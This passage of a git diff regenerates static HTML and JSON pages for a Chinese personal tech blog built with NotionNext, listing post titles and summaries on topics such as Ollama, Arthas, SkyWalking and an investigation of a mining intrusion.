9-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"git"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"git"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/tag/skywalking.html b/tag/skywalking.html
index 2ecc014c1..8864ac687 100644
--- a/tag/skywalking.html
+++ b/tag/skywalking.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>skywalking | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="skywalking | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/skywalking"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="skywalking | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/skywalking/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/skywalking/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
